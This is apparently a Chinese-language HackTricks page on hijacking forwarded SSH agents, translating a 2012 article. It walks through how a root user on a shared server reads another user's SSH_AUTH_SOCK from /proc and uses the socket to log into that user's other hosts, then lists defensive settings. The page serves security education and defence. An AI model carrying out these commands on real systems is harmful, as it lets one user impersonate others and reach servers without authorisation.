12 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm.
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
概要
如果你在/etc/ssh_config
或$HOME/.ssh/config
配置文件中发现以下内容,你可以做什么:
ForwardAgent yes
如果您是机器内的root用户,您可能可以访问在/tmp目录中找到的任何代理所建立的任何ssh连接。
使用Bob的其中一个ssh代理来冒充Bob:
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
为什么这个方法有效?
当你设置变量SSH_AUTH_SOCK
时,你可以访问Bob在他的ssh连接中使用的密钥。然后,如果他的私钥仍然存在(通常会存在),你就可以使用它来访问任何主机。
由于私钥以未加密的形式保存在代理的内存中,我猜想,如果你是Bob,但你不知道私钥的密码,你仍然可以访问代理并使用它。
另一种选择是,代理的用户所有者和root用户可能能够访问代理的内存并提取私钥。
长篇解释和利用
摘自:https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/
当无法信任ForwardAgent时
在没有密码的情况下使用SSH可以让Unix-like操作系统的生活变得更加轻松。如果你的网络需要链接的ssh会话(例如,访问受限网络),代理转发功能非常有用。通过代理转发,我可以从我的笔记本电脑连接到开发服务器,然后从那里运行另一个服务器上的svn checkout,所有这些操作都不需要密码,同时保持我的私钥安全存储在我的本地工作站上。
然而,这可能是危险的。快速搜索网络将会发现几篇文章指出,只有中间主机是可信的时,这种方法才是安全的。然而,很少有文章解释为什么这是危险的。
这就是本文的目的。但首先,先了解一些背景知识。
无密码身份验证的工作原理
在正常模式下进行身份验证时,SSH使用你的密码来证明你是你所说的那个人。服务器将密码的哈希值与其存储的哈希值进行比较,验证哈希值是否匹配,并允许你登录。
如果攻击者能够破解用于保护密码的加密算法,他们可以窃取密码并随时以你的身份登录。如果攻击者被允许进行数十万次尝试,他们最终可以猜出你的密码。
一种更安全的身份验证方法是公钥身份验证,即无需密码登录的方式。公钥身份验证需要一对匹配的公钥和私钥。公钥用于加密只能使用私钥解密的消息。远程计算机使用你的公钥副本将秘密消息加密给你。你通过使用私钥解密消息并将消息发送回远程计算机来证明你是你自己。你的私钥在整个过程中都安全地保存在你的本地计算机上,免受攻击。
私钥是有价值的,必须加以保护,因此默认情况下以加密格式存储。不幸的是,这意味着在使用之前需要输入加密密码。许多文章建议使用无密码(未加密)的私钥来避免这种不便。这是一个坏主意,因为任何可以访问你的工作站(通过物理访问、盗窃或黑客攻击)的人现在也可以自由访问任何配置了你的公钥的计算机。
OpenSSH包括ssh-agent,它是在你的本地工作站上运行的守护进程。它将你的私钥的解密副本加载到内存中,因此你只需要输入一次加密密码。然后,它提供一个本地的socket,ssh客户端可以使用它来请求解密远程服务器发送回来的加密消息。你的私钥在整个过程中都安全地保存在ssh-agent进程的内存中,同时允许你在ssh中进行身份验证而无需输入密码。
ForwardAgent的工作原理
许多任务需要“链接”ssh会话。考虑我之前的例子:我从我的工作站ssh到开发服务器。在那里,我需要执行一个svn更新,使用“svn+ssh”协议。由于在共享服务器上留下一个未加密的超级秘密私钥副本是愚蠢的,我现在只能使用密码身份验证。然而,如果我在我的工作站的ssh配置中启用了“ForwardAgent”,ssh将使用其内置的隧道功能在开发服务器上创建另一个socket,该socket通过隧道返回到我的本地工作站上的ssh-agent socket。这意味着开发服务器上的ssh客户端现在可以直接向在我的工作站上运行的ssh-agent发送“解密此秘密消息”的请求,以身份验证自己连接到svn服务器,而无需访问我的私钥。
为什么这可能是危险的
简单地说,任何具有中间服务器的root权限的人都可以自由使用你的ssh-agent来对其他服务器进行身份验证。一个简单的演示展示了这可以多么轻松地实现。为了保护无辜者,主机名和用户名已经被更改。我的笔记本电脑正在运行ssh-agent,它通过一个socket与ssh客户端程序进行通信。该socket的路径存储在SSH_AUTH_SOCK环境变量中:
mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
ssh-add程序允许我们查看和与代理中的密钥进行交互:
mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
我在我的笔记本电脑的~/.ssh/config文件中设置了“ForwardAgent yes”。因此,ssh将创建一个隧道,将本地套接字连接到远程服务器上的本地套接字:
mylaptop:~ alice$ ssh seattle
seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
即使我的密钥没有安装在“seattle”上,ssh客户端程序仍然能够访问在我的本地机器上运行的代理程序:
seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
所以...我们可以找谁开刀呢?
seattle:~ alice $ who
alice pts/0 2012-04-06 18:24 (office.example.com)
bob pts/1 2012-04-03 01:29 (office.example.com)
alice pts/3 2012-04-06 18:31 (office.example.com)
alice pts/5 2012-04-06 18:31 (office.example.com)
alice pts/6 2012-04-06 18:33 (office.example.com)
charlie pts/23 2012-04-06 13:10 (office.example.com)
charlie pts/27 2012-04-03 12:32 (office.example.com)
bob pts/29 2012-04-02 10:58 (office.example.com)
我从来不喜欢Bob。为了找到他的代理连接,我需要找到他的ssh会话的子进程:
seattle:~ alice $ sudo -s
[sudo] password for alice:
seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)
sshd(25296)───bash(25297)───vim(14308)
有几种方法可以让root用户查看正在运行的进程的环境。在Linux上,数据存储在/proc/<pid>/environ中。由于数据是以NULL结尾的字符串形式存储的,我将使用tr命令将NULL转换为换行符:
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
我现在已经掌握了一切必要的信息,以便劫持Bob的ssh-agent:
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
如果我有一个特定的目标,我现在应该能够直接连接。否则,只需观察进程列表或在Bob的历史文件中进行grep,就会有很多机会目标。在这种情况下,我知道Bob在名为“boston”的服务器上存储了各种超级机密文件。
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob
我已成功利用“seattle”上的root权限,以bob的身份访问“boston”。我敢打赌我可以利用这一点让他被解雇。
保护自己!
不要让你的ssh-agent无限期地存储你的密钥。在OS X上,配置你的Keychain在不活动或屏幕锁定后锁定。在其他类Unix平台上,使用ssh-agent时传递-t选项,这样它的密钥将在几秒钟后被删除。
在连接到不可信任的主机时,不要启用代理转发。幸运的是,~/.ssh/config语法使这个过程相当简单:
Host trustworthyhost
ForwardAgent yes
Host *
ForwardAgent no
推荐阅读
- OpenSSH 密钥管理 - Daniel Robbins
- SSH 代理转发图解指南 - Steve Friedl
- ssh-agent 手册
- ssh-add 手册
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家 网络安全公司 工作吗?想要在 HackTricks 中 宣传你的公司?或者想要获取 PEASS 的最新版本或下载 HackTricks 的 PDF?请查看 订阅计划!
-
发现我们的独家 NFTs 集合 - The PEASS Family
-
加入 💬 Discord 群组 或 Telegram 群组,或者在 Twitter 上 关注 我 🐦@carlospolopm。
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。